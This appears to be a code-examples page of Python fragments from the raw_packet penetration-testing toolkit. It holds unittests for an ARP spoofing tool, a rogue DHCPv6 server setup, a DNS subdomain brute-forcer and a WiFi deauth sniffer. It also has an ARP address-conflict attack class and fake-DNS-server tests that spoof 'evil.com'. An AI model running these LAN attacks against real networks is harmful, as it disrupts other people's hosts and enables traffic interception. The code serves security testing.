    tshark_pcap_filename: str = join(variables.temp_directory,
                                     'arp_spoof_test.pcap')

    # endregion

    def test01_main_responses(self):
        if isfile(self.tshark_pcap_filename):
            remove(self.tshark_pcap_filename)
        find_spoof_packet: bool = False
        arp_spoof: ArpSpoof = ArpSpoof(
            network_interface=self.variables.your.network_interface)
        self.thread_manager.add_task(arp_spoof.start,
                                     self.variables.router.ipv4_address,
                                     self.variables.target.ipv4_address,
                                     self.variables.target.mac_address, False,
                                     False, False, False, False)
        command = self.variables.tshark_executable + \
                  ' -i "' + self.variables.your.network_interface + \
                  '" -f "ether src ' + self.variables.your.mac_address + \
                  ' and ether dst ' + self.variables.target.mac_address + \
                  ' and arp" -B 65535 -w "' + self.tshark_pcap_filename + '"'
        if self.base.get_platform().startswith('Darwin'):
            Popen([command], shell=True, stdout=PIPE, stderr=STDOUT)
        else:
            Popen(command, shell=True, stdout=PIPE, stderr=STDOUT)
        sleep(5)
        self.thread_manager.close()
        if self.base.get_platform().startswith('Windows'):
            self.base.kill_process_by_name(process_name='tshark.exe')
        else:
            self.base.kill_process_by_name(process_name='tshark')
        self.assertTrue(isfile(self.tshark_pcap_filename))
        try:
            packets = rdpcap(self.tshark_pcap_filename)
            for packet in packets:
                if packet.haslayer(ARP):
                    arp_packet = packet[ARP]
                    self.base.print_info('ARP opcode: ', str(arp_packet.op))
                    self.base.print_info('ARP sender MAC: ', arp_packet.hwsrc)
                    self.base.print_info('ARP target MAC: ', arp_packet.hwdst)
                    self.base.print_info('ARP sender IP: ', arp_packet.psrc)
                    self.base.print_info('ARP target IP: ', arp_packet.pdst)
                    if arp_packet.hwsrc == self.variables.your.mac_address and \
                            arp_packet.hwdst == self.variables.target.mac_address and \
                            arp_packet.psrc == self.variables.router.ipv4_address and \
                            arp_packet.pdst == self.variables.target.ipv4_address and \
                            arp_packet.op == 2:
                        find_spoof_packet = True
                        break
        except ValueError:
            pass
        except FileNotFoundError:
            pass
        if isfile(self.tshark_pcap_filename):
            remove(self.tshark_pcap_filename)
        self.assertTrue(find_spoof_packet)

    def test02_main_requests(self):
        find_spoof_packet: bool = False
        arp_spoof: ArpSpoof = ArpSpoof(
            network_interface=self.variables.your.network_interface)
        self.thread_manager.add_task(arp_spoof.start,
                                     self.variables.router.ipv4_address,
                                     self.variables.target.ipv4_address,
                                     self.variables.target.mac_address, False,
                                     False, False, True, False)
        command = self.variables.tshark_executable + \
                  ' -i "' + self.variables.your.network_interface + \
                  '" -f "ether src ' + self.variables.your.mac_address + \
                  ' and ether dst ' + self.variables.target.mac_address + \
                  ' and arp" -B 65535 -w "' + self.tshark_pcap_filename + '"'
        if self.base.get_platform().startswith('Darwin'):
            Popen([command], shell=True, stdout=PIPE, stderr=STDOUT)
        else:
            Popen(command, shell=True, stdout=PIPE, stderr=STDOUT)
        sleep(5)
        self.thread_manager.close()
        if self.base.get_platform().startswith('Windows'):
            self.base.kill_process_by_name(process_name='tshark.exe')
        else:
            self.base.kill_process_by_name(process_name='tshark')
        self.assertTrue(isfile(self.tshark_pcap_filename))
        try:
            packets = rdpcap(self.tshark_pcap_filename)
            for packet in packets:
                if packet.haslayer(ARP):
                    arp_packet = packet[ARP]
                    self.base.print_info('ARP opcode: ', str(arp_packet.op))
                    self.base.print_info('ARP sender MAC: ', arp_packet.hwsrc)
                    self.base.print_info('ARP target MAC: ', arp_packet.hwdst)
                    self.base.print_info('ARP sender IP: ', arp_packet.psrc)
                    self.base.print_info('ARP target IP: ', arp_packet.pdst)
                    if arp_packet.hwsrc == self.variables.your.mac_address and \
                            arp_packet.hwdst == '00:00:00:00:00:00' and \
                            arp_packet.psrc == self.variables.router.ipv4_address and \
                            arp_packet.op == 1:
                        find_spoof_packet = True
                        break
        except ValueError:
            pass
        except FileNotFoundError:
            pass
        if isfile(self.tshark_pcap_filename):
            remove(self.tshark_pcap_filename)
        self.assertTrue(find_spoof_packet)

    def test03_main_bad_interface(self):
        with self.assertRaises(SystemExit) as result:
            with self.context_manager.captured_output() as (out, err):
                ArpSpoof(
                    network_interface=self.variables.bad.network_interface)
        arp_spoof_output: str = out.getvalue()
        print(arp_spoof_output)
        self.assertEqual(result.exception.code, 1)
        self.assertIn(self.variables.bad.network_interface, arp_spoof_output)

    def test04_main_bad_gateway_ip(self):
        with self.assertRaises(SystemExit) as result:
            with self.context_manager.captured_output() as (out, err):
                arp_spoof: ArpSpoof = ArpSpoof(
                    network_interface=self.variables.your.network_interface)
                arp_spoof.start(
                    gateway_ipv4_address=self.variables.bad.ipv4_address)
        arp_spoof_output: str = out.getvalue()
        print(arp_spoof_output)
        self.assertEqual(result.exception.code, 1)
        self.assertIn(self.variables.bad.ipv4_address, arp_spoof_output)

    def test05_main_bad_target_ip(self):
        with self.assertRaises(SystemExit) as result:
            with self.context_manager.captured_output() as (out, err):
                arp_spoof: ArpSpoof = ArpSpoof(
                    network_interface=self.variables.your.network_interface)
                arp_spoof.start(
                    gateway_ipv4_address=self.variables.router.ipv4_address,
                    target_ipv4_address=self.variables.bad.ipv4_address)
        arp_spoof_output: str = out.getvalue()
        print(arp_spoof_output)
        self.assertEqual(result.exception.code, 1)
        self.assertIn(self.variables.bad.ipv4_address, arp_spoof_output)

    def test06_main_bad_target_mac(self):
        with self.assertRaises(SystemExit) as result:
            with self.context_manager.captured_output() as (out, err):
                arp_spoof: ArpSpoof = ArpSpoof(
                    network_interface=self.variables.your.network_interface)
                arp_spoof.start(
                    gateway_ipv4_address=self.variables.router.ipv4_address,
                    target_ipv4_address=self.variables.target.ipv4_address,
                    target_mac_address=self.variables.bad.mac_address)
        arp_spoof_output: str = out.getvalue()
        print(arp_spoof_output)
        self.assertEqual(result.exception.code, 1)
        self.assertIn(self.variables.bad.mac_address, arp_spoof_output)
Ejemplo n.º 11
0
    target: Dict[str, Union[None, str]] = {
        'mac_address': None,
        'ipv6_address': None
    }
    first_suffix: Union[None, str] = None
    last_suffix: Union[None, str] = None
    clients: Dict = dict()
    icmpv6_router_solicitation_address: str = '33:33:00:00:00:02'
    dhcpv6_requests_address: str = '33:33:00:01:00:02'
    # endregion

    try:
        # region Check user, platform and create threads
        base.check_user()
        base.check_platform()
        tm = ThreadManager(5)
        # endregion

        # region Parse script arguments
        parser = ArgumentParser(description='Rogue SLAAC/DHCPv6 server')

        parser.add_argument('-i',
                            '--interface',
                            help='Set interface name for send reply packets')
        parser.add_argument('-p',
                            '--prefix',
                            type=str,
                            help='Set network prefix',
                            default='fd00::/64')

        parser.add_argument('-f',
Ejemplo n.º 12
0
    def resolve(
            self,
            ns_servers,  # type: List[Dict[str, str]]
            domain,  # type: str
            subdomains_list=[],  # type: List[str]
            subdomains_file=None,  # type: str
            subdomains_brute=False,  # type: bool
            max_threats_count=10,  # type: int
            udp_destination_port=53,  # type: int
            timeout=30  # type: int
    ):
        # type: (...) -> List[Dict[str, str]]
        """
        DNS resolve all subdomains in target domain
        :param ns_servers: List of DNS servers (example: [{'ipv4 address': '8.8.8.8', 'mac address': '01:23:45:67:89:0a'}])
        :param domain: Target domain (example: 'test.com')
        :param subdomains_list: List of subdomains (example: ['www','ns','mail'])
        :param subdomains_file: Name of file with subdomains (default: None)
        :param subdomains_brute: Brute mode on (auto make list with subdomains) if True, Brute mode off if False (default: False)
        :param max_threats_count: Maximum threats count (default: 10)
        :param udp_destination_port: UDP destination port (default: 53)
        :param timeout: Connection after send all DNS queries (default: 30)
        :return: List of dictionary (example: [{'Domain': 'www.test.com', 'IPv4 address': '1.2.3.4', 'IPv6 address': '-'}])
        """

        try:

            # region Set target domain
            assert not (domain is None or domain == ''), \
                'Target domain is empty, please set target domain in this parameter: ' + self.base.info_text('domain')
            self.domain = domain
            # endregion

            # region Subdomains list
            if len(subdomains_list) > 0:
                self.subdomains = subdomains_list
            # endregion

            # region Subdomains file
            if subdomains_file is not None:
                assert isfile(subdomains_file), \
                    'File with subdomain list:' + self.base.error_text(subdomains_file) + ' not found!'
                with open(subdomains_file) as subdomains_file_descriptor:
                    for subdomain in subdomains_file_descriptor.read(
                    ).splitlines():
                        self.subdomains.append(subdomain)
            # endregion

            # region Subdomains brute
            if subdomains_brute:

                if not self.quiet:
                    self.base.print_info(
                        'Make subdomains list for brute .... ')

                for character1 in self.available_characters:
                    self.subdomains.append(character1)
                    for character2 in self.available_characters:
                        self.subdomains.append(character1 + character2)
                        for character3 in self.available_characters:
                            self.subdomains.append(character1 + character2 +
                                                   character3)
            # endregion

            # region Check length of subdomains list
            assert len(self.subdomains) != 0, \
                'List containing subdomains is empty, please set any of this parameters: ' \
                + self.base.info_text('subdomain_list') + ' or ' \
                + self.base.info_text('subdomain_file') + ' or ' \
                + self.base.info_text('subdomain_brute')
            # endregion

            # region Create raw socket
            raw_socket = socket(AF_PACKET, SOCK_RAW)
            raw_socket.bind((self.network_interface, 0))
            # endregion

            # region Sniff DNS answers
            if not self.quiet:
                self.base.print_info('Start DNS answers sniffer ...')

            threats = ThreadManager(max_threats_count)

            threats.add_task(self._sniff_packets, self.your_mac_address,
                             self.your_ipv4_address, self.your_ipv6_address,
                             udp_destination_port)
            # endregion

            # region Send DNS queries
            if not self.quiet:
                self.base.print_info('Start sending DNS queries, time: ',
                                     str(datetime.now()))

            self._send_queries(send_socket=raw_socket,
                               source_mac_address=self.your_mac_address,
                               source_ipv4_address=self.your_ipv4_address,
                               source_ipv6_address=self.your_ipv6_address,
                               domain=domain,
                               ns_servers=ns_servers,
                               destination_port=udp_destination_port,
                               max_threats_count=int(max_threats_count) - 1,
                               subdomains=self.subdomains)
            # endregion

            # region Timeout
            if not self.quiet:
                self.base.print_info('Wait timeout: ', str(timeout) + ' sec')

            sleep(timeout)
            # endregion

            # region Return results
            return self.results
            # endregion

        except AssertionError as Error:
            self.base.print_error(Error.args[0])
            exit(1)
Ejemplo n.º 13
0
    def scan(self,
             network_interface: str = 'eth0',
             timeout: int = 3,
             retry: int = 3,
             target_mac_address: Union[None, str] = None,
             check_vendor: bool = True,
             exit_on_failure: bool = True) -> List[Dict[str, str]]:
        """
        Find alive IPv6 hosts in local network with echo (ping) request packets
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_mac_address: Target MAC address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True)
        :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}])
        """

        # region Clear lists with scan results
        self.results.clear()
        self.unique_results.clear()
        self.mac_addresses.clear()
        # endregion

        # region Set variables
        if target_mac_address is not None:
            self.base.mac_address_validation(mac_address=target_mac_address,
                                             exit_on_failure=True)
            self.target_mac_address = target_mac_address
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        self.icmpv6_identifier = randint(1, 65535)
        # endregion

        # region Run _sniffer
        tm = ThreadManager(2)
        tm.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Unique results
        for index in range(len(self.results)):
            if self.results[index]['mac-address'] not in self.mac_addresses:
                self.unique_results.append(self.results[index])
                self.mac_addresses.append(self.results[index]['mac-address'])
        # endregion

        # region Get vendors
        if check_vendor:
            for result_index in range(len(self.unique_results)):
                self.unique_results[result_index]['vendor'] = \
                    self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address'])
        # endregion

        # region Return results
        if len(self.unique_results) == 0:
            if exit_on_failure:
                self.base.error_text(
                    'Could not found alive IPv6 hosts on interface: ' +
                    self.network_interface)
                exit(1)
        return self.unique_results
Ejemplo n.º 14
0
def main():

    # region Init Raw-packet modules
    base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin'])
    thread_manager: ThreadManager = ThreadManager(10)
    # endregion

    # region Check user
    base.check_user()
    # endregion

    # region Parse script arguments
    script_description: str = \
        base.get_banner(__script_name__) + '\n' + \
        base.info_text('Ctrl-E') + ' Show Wireless access point information\n' + \
        base.info_text('Ctrl-D') + ' Send IEEE 802.11 deauth packets\n' + \
        base.info_text('Ctrl-D') + ' Switch WiFi channel\n' + \
        base.info_text('Ctrl-A') + ' Send IEEE 802.11 association packet\n' + \
        base.info_text('Ctrl-R') + ' Start scanner (switch between WiFi channels)\n' + \
        base.info_text('Ctrl-H') + ' Show help information\n' + \
        base.info_text('Ctrl-C') + ' Exit\n'
    parser: ArgumentParser = ArgumentParser(
        description=script_description,
        formatter_class=RawDescriptionHelpFormatter)
    parser.add_argument('-i',
                        '--interface',
                        help='Set wireless interface name for sniff packets',
                        default=None)
    parser.add_argument('-c',
                        '--channel',
                        type=int,
                        help='Set WiFi channel',
                        default=None)
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Maximum output')
    args = parser.parse_args()
    # endregion

    # region Print banner
    base.print_banner(__script_name__)
    # endregion

    try:

        # region Get wireless network interface
        wireless_interface: str = \
            base.network_interface_selection(interface_name=args.interface,
                                             only_wireless=True,
                                             message='Please select a network interface for ' +
                                                     __script_name__ + ' from table: ')
        # endregion

        # region Init Raw-packet WiFi class
        wifi: WiFi = WiFi(wireless_interface=wireless_interface,
                          wifi_channel=args.channel,
                          debug=args.debug)
        # endregion

        # region Start WiFi Sniffer
        wifi_sniffer: WiFiSniffer = WiFiSniffer(wifi_instance=wifi,
                                                base_instance=base,
                                                tm_instance=thread_manager)
        wifi_sniffer.run()
        # endregion

    except KeyboardInterrupt:
        base.print_info('Exit')
        exit(0)

    except AssertionError as Error:
        base.print_error(Error.args[0])
        exit(1)
Ejemplo n.º 15
0
class ICMPv6RouterSearch:

    # region Set variables
    _base: Base = Base()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None}

    _retry_number: int = 3
    _timeout: int = 3

    _router_info: Union[None, Dict[str, Union[int, str]]] = None
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address',
                                                                            'ipv6-link-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)
    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict) -> None:
        try:
            assert 'Ethernet' in packet.keys()
            assert 'IPv6' in packet.keys()
            assert 'ICMPv6' in packet.keys()
            assert 'type' in packet['ICMPv6'].keys()

            # 134 Type of ICMPv6 Router Advertisement
            assert packet['ICMPv6']['type'] == 134, 'Not ICMPv6 Router Advertisement packet!'

            # Save router information
            self._router_info = dict()
            self._router_info['router_mac_address'] = packet['Ethernet']['source']
            self._router_info['router_ipv6_address'] = packet['IPv6']['source-ip']
            self._router_info['flags'] = hex(packet['ICMPv6']['flags'])
            self._router_info['router-lifetime'] = int(packet['ICMPv6']['router-lifetime'])
            self._router_info['reachable-time'] = int(packet['ICMPv6']['reachable-time'])
            self._router_info['retrans-timer'] = int(packet['ICMPv6']['retrans-timer'])

            for icmpv6_ra_option in packet['ICMPv6']['options']:
                if icmpv6_ra_option['type'] == 3:
                    self._router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \
                                                  str(icmpv6_ra_option['value']['prefix-length'])
                if icmpv6_ra_option['type'] == 5:
                    self._router_info['mtu'] = int(icmpv6_ra_option['value'], 16)
                if icmpv6_ra_option['type'] == 25:
                    self._router_info['dns-server'] = str(icmpv6_ra_option['value']['address'])

            # Search router vendor
            self._router_info['vendor'] = \
                self._base.get_vendor_by_mac_address(self._router_info['router_mac_address'])

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        # region ICMPv6 multicast ping scan
        self._raw_sniff.start(protocols=['Ethernet', 'IPv6', 'ICMPv6'],
                              prn=self._analyze_packet,
                              filters={'ICMPv6': {'type': 134}},
                              network_interface=self._your['network-interface'],
                              scapy_filter='icmp6')
    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        request: bytes = self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                                 ipv6_src=self._your['ipv6-link-address'])
        self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.1)
    # endregion

    # region Search IPv6 router
    def search(self,
               timeout: int = 3,
               retry: int = 3,
               exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
        """
        Search IPv6 router in network
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param exit_on_failure: Exit if IPv6 router in network not found (default: True)
        :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a',
                                                               'router_ipv6_address': 'fe80::1234:5678:90ab:cdef',
                                                               'flags': '0x0',
                                                               'router-lifetime': 0,
                                                               'reachable-time': 0,
                                                               'retrans-timer': 0,
                                                               'prefix': 'fd00::/64',
                                                               'vendor': 'D-Link International'})
        """

        # region Set variables
        self._timeout = int(timeout)
        self._retry_number = int(retry)
        # endregion

        # region Run _sniffer
        self._thread_manager.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self._timeout)
        # endregion

        # region Return IPv6 router information
        if self._router_info is None:
            if exit_on_failure:
                self._base.error_text('Could not found IPv6 Router on interface: ' + self._your['network-interface'])
                exit(1)
        return self._router_info
Ejemplo n.º 16
0
class NetworkConflictCreator:

    # region Variables
    _base: Base = Base(admin_only=True,
                       available_platforms=['Linux', 'Darwin', 'Windows'])
    _utils: Utils = Utils()
    _arp: RawARP = RawARP()
    _sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'ipv4-address': None,
        'mac-address': None
    }
    _conflict_packet: Dict[str, Union[None, bytes]] = {
        'request': None,
        'response': None
    }

    _replies: bool = False
    _requests: bool = False
    _make_conflict: bool = False
    _exit_on_success: bool = False

    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'first-ipv4-address',
                'last-ipv4-address'
            ])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start Network Conflict Creator (ncc)
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ip_address: Union[None, str] = None,
              broadcast: bool = False,
              replies: bool = False,
              requests: bool = False,
              exit_on_success: bool = False,
              number_of_packets: int = 10) -> None:
        try:

            # region Set Variables
            self._replies = replies
            self._requests = requests
            self._exit_on_success = exit_on_success
            # endregion

            # region Check Target MAC- and IP-address
            if target_ip_address is not None:
                self._target = self._utils.set_ipv4_target(
                    network_interface=self._your['network-interface'],
                    target_ipv4_address=target_ip_address,
                    target_mac_address=target_mac_address)
            # endregion

            # region Target IP address is not Set
            if self._target['ipv4-address'] is None:
                self._sniff_start()
            # endregion

            # region Target IP address is Set
            if self._target['ipv4-address'] is not None:

                # region Make ARP conflict packets
                self._conflict_packet['response'] = \
                    self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
                                            ethernet_dst_mac=self._target['mac-address'],
                                            sender_mac=self._your['mac-address'],
                                            sender_ip=self._target['ipv4-address'],
                                            target_mac=self._target['mac-address'],
                                            target_ip=self._target['ipv4-address'])
                if broadcast:
                    _destination_mac_address = 'ff:ff:ff:ff:ff:ff'
                else:
                    _destination_mac_address = '33:33:00:00:00:01'
                _random_ip: str = self._base.get_random_ip_on_interface(
                    self._your['network-interface'])
                self._conflict_packet['request'] = \
                    self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
                                           ethernet_dst_mac=_destination_mac_address,
                                           sender_mac=self._your['mac-address'],
                                           sender_ip=self._target['ipv4-address'],
                                           target_mac='00:00:00:00:00:00',
                                           target_ip=_random_ip)
                # endregion

                # region Start Sniffer in thread
                self._thread_manager.add_task(self._sniff_start)
                sleep(3)
                # endregion

                # region Send ARP reply packets
                if self._replies:
                    self._base.print_info(
                        'Send only ARP reply packets to: ',
                        str(self._target['ipv4-address']) + ' (' +
                        str(self._target['mac-address']) + ')')
                    self._raw_send.send_packet(
                        packet=self._conflict_packet['response'],
                        count=number_of_packets,
                        delay=0.5)
                # endregion

                # region Send ARP request packets
                elif self._requests:
                    self._base.print_info(
                        'Send only Multicast ARP request packets to: ',
                        str(self._target['ipv4-address']) + ' (' +
                        str(self._target['mac-address']) + ')')
                    self._raw_send.send_packet(
                        packet=self._conflict_packet['request'],
                        count=number_of_packets,
                        delay=0.5)
                # endregion

                # region Send Multicast ARP request packets
                else:
                    current_number_of_packets: int = 0
                    while not self._make_conflict:
                        if current_number_of_packets == number_of_packets:
                            break
                        else:
                            self._base.print_info(
                                'Send Multicast ARP request to: ',
                                str(self._target['ipv4-address']) + ' (' +
                                str(self._target['mac-address']) + ')')
                            self._raw_send.send_packet(
                                packet=self._conflict_packet['request'])
                            sleep(3)
                            current_number_of_packets += 1
                # endregion
            # endregion

        except KeyboardInterrupt:
            self._base.print_info('Exit NCC')
            exit(0)

        except AssertionError as Error:
            self._base.print_error(Error.args[0])
            exit(1)

    # endregion

    # region Send ARP reply packets
    def _reply(self, packet: Dict):
        try:
            if not self._replies and not self._requests:
                if 'ARP' in packet.keys():
                    if self._target['ipv4-address'] is not None:
                        if packet['ARP']['sender-ip'] == self._target['ipv4-address'] and \
                                packet['ARP']['sender-mac'] == self._target['mac-address']:
                            self._base.print_info(
                                'Send IPv4 Address Conflict ARP response to: ',
                                self._target['ipv4-address'] + ' (' +
                                self._target['mac-address'] + ')')
                            self._make_conflict = True
                            self._raw_send.send_packet(
                                self._conflict_packet['response'])
                    else:
                        if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                                packet['ARP']['opcode'] == 1 and \
                                packet['ARP']['sender-ip'] == packet['ARP']['target-ip']:
                            self._base.print_info(
                                'Sniff Gratuitous ARP request for ',
                                packet['ARP']['sender-ip'] + ' (' +
                                packet['Ethernet']['source'] + ')')
                            self._base.print_info(
                                'Send Gratuitous ARP reply for ',
                                packet['ARP']['sender-ip'] + ' (' +
                                packet['Ethernet']['source'] + ')')
                            self._raw_send.\
                                send_packet(self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
                                                                    ethernet_dst_mac=packet['Ethernet']['source'],
                                                                    sender_mac=self._your['mac-address'],
                                                                    sender_ip=packet['ARP']['sender-ip'],
                                                                    target_mac=packet['Ethernet']['source'],
                                                                    target_ip=packet['ARP']['sender-ip']))

            if 'DHCPv4' in packet.keys():

                if packet['DHCPv4'][53] == 4:
                    self._base.print_success(
                        'DHCPv4 Decline from: ', packet['DHCPv4'][50] + ' (' +
                        packet['Ethernet']['source'] + ')',
                        ' IPv4 address conflict detected!')
                    if self._exit_on_success:
                        self._make_conflict = True
                        exit(0)

                if packet['DHCPv4'][53] == 3:
                    if 50 in packet['DHCPv4'].keys():
                        if 'client-mac-address' in packet['DHCPv4'].keys():
                            if packet['DHCPv4'][
                                    'client-mac-address'] == self._target[
                                        'mac-address']:
                                self._target['ipv4-address'] = str(
                                    packet['DHCPv4'][50])
                        self._base.print_success('DHCPv4 Request from: ',
                                                 packet['Ethernet']['source'],
                                                 ' requested ip: ',
                                                 str(packet['DHCPv4'][50]))

        except KeyboardInterrupt:
            exit(0)

        except KeyError:
            pass

        except TypeError:
            pass

    # endregion

    # region ARP sniffer
    def _sniff_start(self):
        try:
            if self._target['ipv4-address'] is not None:
                self._base.print_info('Sniff ARP or DHCPv4 requests from: ',
                                      str(self._target['mac-address']))
                self._sniff.start(
                    protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                    prn=self._reply,
                    filters={
                        'Ethernet': {
                            'source': self._target['mac-address']
                        },
                        'UDP': {
                            'source-port': 68,
                            'destination-port': 67
                        }
                    },
                    network_interface=self._your['network-interface'],
                    scapy_filter='arp or (udp and (port 67 or 68))',
                    scapy_lfilter=lambda eth: eth.src == self._target[
                        'mac-address'])
            else:
                self._base.print_info('Sniff ARP or DHCPv4 requests ...')
                self._sniff.start(
                    protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                    prn=self._reply,
                    filters={
                        'UDP': {
                            'source-port': 68,
                            'destination-port': 67
                        }
                    },
                    network_interface=self._your['network-interface'],
                    scapy_filter='arp or (udp and (port 67 or 68))')
        except KeyboardInterrupt:
            exit(0)
Ejemplo n.º 17
0
class DnsServerTest(unittest.TestCase):

    # region Properties
    path.append(dirname(dirname(dirname(dirname(dirname(abspath(__file__)))))))
    from raw_packet.Utils.base import Base
    from raw_packet.Utils.tm import ThreadManager
    from raw_packet.Servers.dns_server import RawDnsServer

    base: Base = Base()
    tm: ThreadManager = ThreadManager(2)
    dns_server: RawDnsServer = RawDnsServer()

    interface: str = 'lo'
    ipv4_address: str = '127.0.0.1'
    ipv6_address: str = '::1'
    listen_port: int = 53
    fake_ipv4_addresses: List[str] = ['192.168.0.123', '192.168.0.234']
    fake_ipv6_addresses: List[str] = ['fd00::123', 'fd00::234']
    fake_ns_servers: List[str] = ['ns1.test.com', 'ns2.test.com']
    fake_mx_servers: List[str] = ['mail1.test.com', 'mail2.test.com']
    fake_domains_regexp: List[str] = ['(test1|test2)\\.google.com', 'evil.com']
    fake_domains: List[str] = [
        'test1.google.com', 'test2.google.com', 'evil.com'
    ]
    no_such_domains: List[str] = ['gooogle.com', 'eviiil.com']
    real_domains: List[str] = ['www.google.com', 'google.com']
    success_domains: List[str] = ['evil.com']

    config_file_name: str = 'config.json'
    config_fake_domains: List[str] = ['test1.com', 'www.test1.com']
    config_success_domains: List[str] = ['test2.com', 'www.test2.com']
    config_no_such_domains: List[str] = ['test3.com', 'www.test3.com']
    config_content: Dict = {
        '.*test1.com': {
            'A': fake_ipv4_addresses[0],
            'AAAA': fake_ipv6_addresses,
            'NS': fake_ns_servers[0],
            'MX': fake_mx_servers
        },
        '.*test2.com': {
            'success': True,
            'A': 'my ipv4 address',
            'AAAA': 'my ipv6 address'
        },
        '.*test3.com': {
            'no such domain': True
        }
    }
    with open(config_file_name, 'w') as config_file:
        dump(config_content, config_file)

    tm.add_task(dns_server.listen, interface, listen_port, None, None, None,
                False, fake_ipv4_addresses, fake_ipv6_addresses,
                fake_domains_regexp, no_such_domains, True, False,
                success_domains, config_file_name)

    test_ipv4_resolver = Resolver()
    test_ipv6_resolver = Resolver()
    test_ipv4_resolver.nameservers = [ipv4_address]
    test_ipv6_resolver.nameservers = [ipv6_address]
    test_ipv4_resolver.timeout = 3
    test_ipv6_resolver.timeout = 3
    result_addresses: List[str] = list()

    # endregion

    def test01_resolve_ipv4_fake_domain(self):
        for fake_domain in self.fake_domains:
            answers = self.test_ipv6_resolver.query(fake_domain, A)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertEqual(self.result_addresses, self.fake_ipv4_addresses)
            self.result_addresses.clear()

    def test02_resolve_ipv6_fake_domain(self):
        for fake_domain in self.fake_domains:
            answers = self.test_ipv6_resolver.query(fake_domain, AAAA)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertEqual(self.result_addresses, self.fake_ipv6_addresses)
            self.result_addresses.clear()

    def test03_resolve_no_such_domain(self):
        for no_such_domain in self.no_such_domains:
            nslookup_process = run(
                ['nslookup ' + no_such_domain + ' ' + self.ipv6_address],
                stdout=PIPE,
                shell=True)
            nslookup_stdout: str = nslookup_process.stdout.decode('utf-8')
            self.assertIn('server can\'t find ' + no_such_domain,
                          nslookup_stdout)

    def test04_resolve_ipv4_real_domain(self):
        for real_domain in self.real_domains:
            answers = self.test_ipv6_resolver.query(real_domain, A)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertNotEqual(self.result_addresses,
                                self.fake_ipv4_addresses)
            self.assertNotEqual(len(self.result_addresses), 0)
            self.result_addresses.clear()

    def test05_resolve_ipv6_real_domain(self):
        for real_domain in self.real_domains:
            answers = self.test_ipv6_resolver.query(real_domain, AAAA)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertNotEqual(self.result_addresses,
                                self.fake_ipv6_addresses)
            self.assertNotEqual(len(self.result_addresses), 0)
            self.result_addresses.clear()

    def test06_resolve_config_domains(self):
        for config_fake_domain in self.config_fake_domains:

            answers = self.test_ipv6_resolver.query(config_fake_domain, A)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertEqual(self.result_addresses,
                             [self.fake_ipv4_addresses[0]])
            self.result_addresses.clear()

            answers = self.test_ipv6_resolver.query(config_fake_domain, AAAA)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertEqual(self.result_addresses, self.fake_ipv6_addresses)
            self.result_addresses.clear()

            answers = self.test_ipv6_resolver.query(config_fake_domain, NS)
            for answer in answers:
                self.result_addresses.append(str(answer.target)[:-1])
            self.assertEqual(self.result_addresses, [self.fake_ns_servers[0]])
            self.result_addresses.clear()

            answers = self.test_ipv6_resolver.query(config_fake_domain, MX)
            for answer in answers:
                self.result_addresses.append(str(answer.exchange)[:-1])
            self.assertEqual(self.result_addresses, self.fake_mx_servers)
            self.result_addresses.clear()

        for config_success_domain in self.config_success_domains:

            answers = self.test_ipv6_resolver.query(config_success_domain, A)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertEqual(self.result_addresses, [self.ipv4_address])
            self.result_addresses.clear()

